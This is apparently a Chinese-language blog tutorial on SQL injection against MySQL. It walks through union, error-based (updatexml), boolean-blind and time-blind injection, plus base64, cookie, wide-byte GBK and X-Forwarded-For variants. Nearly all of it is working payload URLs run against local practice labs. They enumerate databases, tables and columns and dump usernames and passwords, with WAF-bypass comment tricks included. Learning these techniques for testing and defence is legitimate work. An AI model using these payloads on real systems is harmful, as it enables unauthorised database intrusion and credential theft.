本文最后更新于 2025-07-08,文章内容可能已经过时。

💉SQL 注入原理

核心:危险函数 + 用户可控输入
本质:攻击者通过构造恶意 SQL 语句,篡改原始 SQL 语义,使数据库执行非预期操作。
根本原因

  1. 动态拼接 SQL 时未校验用户输入

  2. 未使用参数化查询等安全措施,

🔥SQL 的危害

危害类型 具体场景
敏感数据泄漏 获取数据库信息、用户凭证
权限绕过 能密码绕过登录验证
恶意操作 篡改数据、删库、挂马
系统控制 执行系统命令、文件操作

📌 注入点分类

按请求位置

  • GET参数POST表单CookieHTTP 头(如 X-Forwarded-For

按变量类型

类型 示例 SQL 判断方法
数字型 SELECT * FROM users WHERE id=$id id=1/0 异常 → 数字型
字符型 SELECT * FROM users WHERE id='$id' id=1'AND'1'='2 异常 → 字符型
括号型 SELECT * FROM users WHERE id=($id) 需闭合括号

✅ 判断技巧:通过运算 (1/0)、-- 逻辑 (AND 1=1)、引号闭合测试触发异常。

📊MYSQL 常用表

从 MySQL 5 开始,MySQL 自带 information_schema 数据库,它提供了访问数据库元数据的方式。

columns、tables、schemata

🎈information_schema 结构

information_schema
     |_schemata              # 所有数据库
         |_schema_name       # 数据库名
     |_tables                # 所有表名
         |_table_schema      # 表所属数据库名
         |_table_name        # 表名
     |_columns               # 所有字段信息
         |_table_schema      # 字段所属数据库名
         |_table_name        # 字段所属表名
         |_column_name       # 字段名

🎈数据库命令行操作

# 认证登录
mysql -u root -p

# 批量执行SQL文件
mysql -u root -p dbname < script.sql

# 核心操作命令
CREATE DATABASE sec_db;          -- 创建数据库
USE sec_db;                      -- 切换数据库
SHOW TABLES;                     -- 显示所有表
DESC users;                      -- 查看表结构
SOURCE /path/to/backup.sql;      -- 导入SQL文件

🎈图形化管理工具

工具名称 路径 / 地址 特点
Navicat D:\Navicat_Premium_16\navicat.exe 多数据库支持,数据可视化,商业级
phpMyAdmin http://127.0.0.1/phpMyAdmin4.8.5 基于 Web,免费开源,需 PHP 环境
Adminer http://127.0.0.1/adminer.php 单文件 PHP 工具,轻量级(仅 150KB)
SQL Front F:\phpstudy_pro\Extensions\SQL_Front5.3\SQL-Front.exe 轻量客户端,适合本地快速管理

⚠️ 安全建议:生产环境禁用 root 远程登录,Adminer 应设置访问密码

🔎Mysql 重要函数说明

🎈1. ORDER BY - 列探测

功能:order by 后面加数字,代表以第几列进行排序,若填没有的列会报错,以此来确认有多少列数据

/* 判断查询结果的列数 */
select * from users where id=1 order by 3	# 第一次猜3若显示正常,说明至少有3列
select * from users where id=1 order by 4	# 第二次猜4发现报错,说明有3列

🎈2. UNION - 联合查询

要求

  • 列数相同

  • 数据类型兼容

  • 字符集一致

功能:确定列数后可以通过此函数找到注入点

/* 联合注入核心语法 */
SELECT * FROM products 
UNION 
SELECT 1, DATABASE(), VERSION() -- 字段数必须匹配

🎈3. GROUP_CONCAT() - 数据聚合

功能:在一个字段中显示所有内容

参数

  • SEPARATOR:自定义分隔符(默认,

  • 最大长度受 group_concat_max_len 限制

# 聚合函数
select * from users where id='-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- '

-- 单字段显示所有结果
SELECT GROUP_CONCAT(username) FROM users

-- 多字段组合显示
SELECT GROUP_CONCAT(id, ':', username SEPARATOR '; ') 
FROM users

🎈4. LIMIT - 结果分页

功能:限制查询显示的数据量

SELECT * FROM logs LIMIT 10;        -- 前10条
SELECT * FROM logs LIMIT 5, 10;     -- 第6-15条

盲注应用

SELECT column_name FROM information_schema.columns 
LIMIT 0,1  -- 逐行提取数据

🎈5. 字符串处理函数

函数 语法 功能 注入用途
SUBSTR() SUBSTR(str,pos,len) 字符串截取 逐字符爆破数据
RIGHT() RIGHT(str,len) 右端截取 配合长度判断
LOWER() LOWER(str) 转小写 大小写统一处理
ORD() ORD(char) 转 ASCII 码 盲注字符判断
LENGTH() LENGTH(str) 长度计算 判断数据规模

🎰回显注入(联合注入)

🎈第一步:寻找注入点

位置:用户交互接口(URL 参数、搜索框、表单等)
测试方法

# 原始URL(疑似注入点)
http://127.0.0.1/sqli-labs/Less-1/?id=1

# 添加单引号触发报错(确认漏洞)
http://127.0.0.1/sqli-labs/Less-1/?id=1'  → 页面异常

🎈第二步:判断注入类型

类型 测试方法 特征 闭合方式
数字型 id=1/1 → 正常;id=1/0 → 内容消失 数字运算改变结果 无需闭合
字符型 id=1/0 → 无变化 引号包裹用户输入 '--+ /') --+ 等
# 字符型闭合方案(常用)
http://127.0.0.1/sqli-labs/Less-1/?id=1' #        # 井号闭合
http://127.0.0.1/sqli-labs/Less-1/?id=1' --+      # 单引号闭合
http://127.0.0.1/sqli-labs/Less-1/?id=1') --+     # 括号+单引号闭合

🎈第三步:判断字段数(ORDER BY)

二分法:设猜测列数为 x,若不是则 x/2,再不是则猜测新 x 值为 x/2/2..... 以此类推

通过 order by 函数对字段(列)数量进行判断进而找出合适的注入点

技巧

  • 从较大数开始(如 10)快速缩小范围

  • 报错信息:Unknown column '4' in 'order clause'

?id=1' ORDER BY 5 --+   → 报错
?id=1' ORDER BY 3 --+   → 正常  → 确认3列

🎈第四步:联合查询(UNION)

在第三步中我们判断出了字段数量,此时则可以通过 union 函数找到合适的注入点,并且有需要时我们要抑制正常的页面

核心目标:定位回显位 + 抑制原始内容

# 基础联合查询
?id=1' UNION SELECT 1,2,3 --+

# 抑制原始结果的5种方法
1. ?id=-1' UNION SELECT 1,2,3 --+         # 负ID(推荐)
2. ?id=999999' UNION SELECT 1,2,3 --+     # 超大ID
3. ?id=1' AND 1=2 UNION SELECT 1,2,3 --+  # 永假条件
4. ?id=1' AND 0 UNION SELECT 1,2,3 --+    # 逻辑阻断
5. ?id=1' AND FALSE UNION SELECT 1,2,3 --+

🎈第五步:获取数据库名

在上一步找到注入点后我们需要对注入点进行注入

# 当前数据库名 → 显示在回显位2
?id=-1' UNION SELECT 1,database(),3 --+ 

# 所有数据库名 → 显示在回显位2
?id=-1' UNION SELECT 1,GROUP_CONCAT(schema_name),3 
FROM information_schema.schemata --+

结果示例information_schema, mysql, performance_schema, security

🎈第六步:获取表名

利用 information_schema 查询数据表名称

# 当前库所有表 → 显示在回显位2
?id=-1' UNION SELECT 1,GROUP_CONCAT(table_name),3 
FROM information_schema.tables 
WHERE table_schema=database() --+

结果示例emails, referers, uagents, users

🎈第七步:获取字段名

利用 information_schema 查询字段名称

# users表所有字段 → 显示在回显位2
?id=-1' UNION SELECT 1,GROUP_CONCAT(column_name),3 
FROM information_schema.columns 
WHERE table_schema=database() 
  AND table_name='users' --+

结果示例id, username, password

🎈第八步:查询数据

对字段进行查询

# 获取users表全部数据(格式化输出)
?id=-1' UNION SELECT 1,
GROUP_CONCAT(id, '---', username, '---', password SEPARATOR '<br>'),3 
FROM users --+

输出示例

1---Dumb---Dumb
2---Angelina---I-kill-you
3---Dummy---p@ssword
...

🎈 高阶技巧

1. 绕过单引号限制

# HEX编码表名
AND table_name=0x7573657273  -- 'users'的HEX

2. 处理字段数不一致

# 填充NULL匹配列数
UNION SELECT NULL,username,NULL FROM users

3. 快速数据导出

# 直接生成SQL语句
UNION SELECT 1, 
CONCAT('INSERT INTO users VALUES(',id,',"',username,'","',password,'")'),3
FROM users

4. 防御规避方案

# 注释符变体(绕过WAF)
--+   → #   → /*注释*/ → --%20

⛔报错注入

如果 WEB 应用把 SQL 注入的报错信息返回到客户端,那么可以通过构造特殊的错误语句并通过返回的 错误信息盗取数据。

要求:要有报错信息,必须是数据库报错

🎈xpath 报错

xml 文档当中提取数据,限制为 32 个字符

http://wsl:32769/sqli/error.php?username=test'
http://wsl:32769/sqli/error.php?username=test'

🎈函数

  • concat()

select * from users where username='test' and updatexml(1,concat(0x7e,0x7e,database(),0x5e),1)#'
select mid(database(),2,2)
  • mid()

http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,database(),0x5e),1)--+
  • substr()

  • substring()

🎈判断注入点、注入类型

查询数据库名

http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e),1)--+
数据:~users,winfo,wresetpass,xss^

🎈查询数据表名

http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5e),1)--+
#数据:~id,username,password,email,addr    此处数据获取不完全

http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,32)),0x5e),1)--+
http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),25,32)),0x5e),1)--+
#数据:~il,address^     使用切片将未显示数全

🎈查询字段名

http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select substr((select group_concat(id,username,password) from test.users),1,32)),0x5e),1)--+

🧬布尔盲注

页面只回显真、假

🎈函数

ascii 96~122 小写字母

  • min()

  • substr()

  • substring()

  • lower

  • length() 获取字符长度

  • left() 从左开始截取

  • rigth() 从右开始截取

  • lower()

id()/substr()/substring()
select mid(database(),2,2)
ord()/ascii()
select ascii(mid(database(),1,1))
length()
select length(database())
char()
select char(110)
count()
select count(*) from users
left()/right()
select left(database(),2)
select right(database(),3)
lower()
select lower('ADwdaAWD')
limit
select * from users limit 0,1
select * from users limit 1,2

🎈判断注入点 / 类型

http://wsl:32769/sqli/boolean.php?id=1/1  	# 正常
http://wsl:32769/sqli/boolean.php?id=1/0	# 正常,初略判断为字符类型

http://wsl:32769/sqli/boolean.php?id=1' --+		# 为字符类型

🎈判断当前数据库长度

http://wsl:32769/sqli/boolean.php?id=1' and length(database())>4-- -   
http://wsl:32769/sqli/boolean.php?id=1' and length(database())>3 -- -
http://wsl:32769/sqli/boolean.php?id=1' and length(database())=4 -- -   # 判断当前数据库名长度为4个字符

🎈判断当前数据库名

http://wsl:32769/sqli/boolean.php?id=1' and ord(mid(database(),1,1))=116 -- -		# 判断出当前数据库名的第一个字符为t
http://wsl:32769/sqli/boolean.php?id=1' and ord(mid(database(),2,1))=101 -- -		# 判断出当前数据库名的第二个字符为e

🎈判断当前数据表个数

select table_name from information_schema.tables where table_schema=database()
select count(table_name) from information_schema.tables where table_schema=database()
(select count(table_name) from information_schema.tables where table_schema=database())>1

http://wsl:32769/sqli/boolean.php?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 -- -		# 判断出当前数据库一共有4张表

🎈判断当前数据表长度

select table_name from information_schema.tables where table_schema=database()
select length(table_name) from information_schema.tables where table_schema=database()
select length(table_name) from information_schema.tables where table_schema=database() limit 0,1
select length(table_name) from information_schema.tables where table_schema=database() limit 2,1
select length(group_concat(table_name)) from information_schema.tables where table_schema=database()

select length(table_name) from information_schema.tables where table_schema=database() limit 0,1
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>1

http://wsl:32769/sqli/boolean.php?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>1 -- -		# 当前数据库的第一张表一共有5个字符

🎈判断当前数据表名称

select table_name from information_schema.tables where table_schema=database()
select table_name from information_schema.tables where table_schema=database() limit 0,1
select mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97


http://wsl:32769/sqli/boolean.php?id=1' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117) -- -   # 判断出当前数据库的第一张表的第一个字符为u
http://wsl:32769/sqli/boolean.php?id=1' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117) -- -

🎈判断字段个数

select count(column_name) from information_schema.columns where table_schema=database() and table_name='users'

http://wsl:32769/sqli/boolean.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=5 -- -		# 判断出当前数据库的第一张users表的字段个数为5

🎈判断字段长度

http://wsl:32769/sqli/boolean.php?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>1 -- -

🎈判断字段名称

select column_name from information_schema.columns where table_schema=database() and table_name='users'
select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1
select substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1)='u'
select ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))
select ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))>96

http://wsl:32769/sqli/boolean.php?id=1' and (select ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))>96) -- -

🎈判断数据

🎈BP 爆破实现布尔盲注

⏱️时间盲注

在布尔盲注基础上,无论页面对错只回显一种情况,需要对数据库进行延时操作

select table_name from information_schema.tables where table_schema=database()
select table_name from information_schema.tables where table_schema=database() limit 2,1
select mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1)
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96
select if((select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96),sleep(2),0)


http://wsl:32769/sqli/time.php?id=1 and (select if((select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=119),sleep(2),0))

💥其他类型注入

🎈base64 注入

服务端对 URL 传入的参数进行了 base64 编解码时

MQ%3d%3d
MQ==
1

1/0		MS8w

-1 union select 1,2,3,4
http://wsl:32769/sqli/base64.php?id=LTEgdW5pb24gc2VsZWN0IDEsMiwzLDQ=

🎈Cookie 注入

参数由 Cookie 进行传递时

# 在请求头实现/插件
Cookie: id=1 order by 5

🎈宽字节

参数使用 gbk 编码,所以无法正常注入,此时注入需要支持中文字符

GBK 编码(页面 + 数据库)如果前面的 ascii 码大于 128,mysql 就会将两个字符视为一个汉字

一个汉字占两个字节(首字节 - 尾字节)例如 :%df%df

1'
1\'

>128


十进制130,转纯16进制,带上%


1%df'
1%df\'
1%df%5c%27


http://wsl:32769/sqli/kzj.php?id=-1%81%27%20union%20select%201,2,3,4,5--+

🎈XFF 头注入

要求:服务端使用 X-Forwarded-For 头进行参数传递时

X-Forwarded-For: 192.168.1.4'